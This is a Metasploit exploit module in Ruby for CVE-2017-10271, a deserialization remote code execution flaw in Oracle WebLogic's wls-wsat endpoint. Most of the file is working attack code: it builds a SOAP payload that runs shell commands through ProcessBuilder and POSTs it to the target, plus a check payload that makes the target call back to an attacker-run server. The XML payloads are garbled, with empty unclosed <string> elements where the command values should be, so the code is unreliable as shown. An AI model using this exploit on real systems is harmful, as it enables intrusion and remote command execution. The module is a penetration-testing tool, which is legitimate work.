class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Oracle WebLogic wls-wsat Component Deserialization RCE',
'Description'=> %q(
The Oracle WebLogic WLS WSAT Component is vulnerable to a XML Deserialization
remote code execution vulnerability. Supported versions that are affected are
10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. Discovered by Alexey Tyurin
of ERPScan and Federico Dotta of Media Service. Please note that SRVHOST, SRVPORT,
HTTP_DELAY, URIPATH and related HTTP Server variables are only used when executing a check
and will not be used when executing the exploit itself.
),
'License'=> MSF_LICENSE,
'Author' => [
'Kevin Kirsche <d3c3pt10n[AT]deceiveyour.team>',
'Luffin',
'Alexey Tyurin', 'Federico Dotta'
],
'References' =>
[
['URL', 'https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html'],
['URL', 'https://github.com/Luffin/CVE-2017-10271'],
['URL', 'https://github.com/kkirsche/CVE-2017-10271'],
['CVE', '2017-10271'],
['EDB', '43458']
],
'Platform'=> %w{ win unix },
'Arch'=> [ ARCH_CMD ],
'Targets'=>
[
[ 'Windows Command payload', { 'Arch' => ARCH_CMD, 'Platform' => 'win' } ],
[ 'Unix Command payload', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ]
],
'DisclosureDate' => "Oct 19 2017",
'DefaultTarget'=> 0
)
)
register_options([
OptString.new('TARGETURI', [true, 'The base path to the WebLogic WSAT endpoint', '/wls-wsat/CoordinatorPortType']),
OptPort.new('RPORT', [true, "The remote port that the WebLogic WSAT endpoint listens on", 7001]),
OptFloat.new('TIMEOUT', [true, "The timeout value of requests to RHOST", 20.0]),
])
end
def cmd_base
if target['Platform'] == 'win'
return 'cmd'
else
return '/bin/sh'
end
end
def cmd_opt
if target['Platform'] == 'win'
return '/c'
else
return '-c'
end
end
def exploit_process_builder_payload
xml = %Q{<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3" >
<void index="0">
<string>
</void>
<void index="1">
<string>
</void>
<void index="2">
<string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>}
end
def check_process_builder_payload
xml = %Q{<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<void id="url" class="java.net.URL">
<string>
</void>
<void idref="url">
<void id="stream" method = "openStream" />
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>}
end
def on_request_uri(cli, request)
random_content = '<html><head></head><body><p>'+Rex::Text.rand_text_alphanumeric(20)+'<p></body></html>'
send_response(cli, random_content)
@received_request = true
end
def exploit
send_request_cgi({
'method' => 'POST',
'uri'=> normalize_uri(target_uri.path),
'data' => exploit_process_builder_payload,
'ctype'=> 'text/xml;charset=UTF-8'
}, datastore['TIMEOUT'])
end
end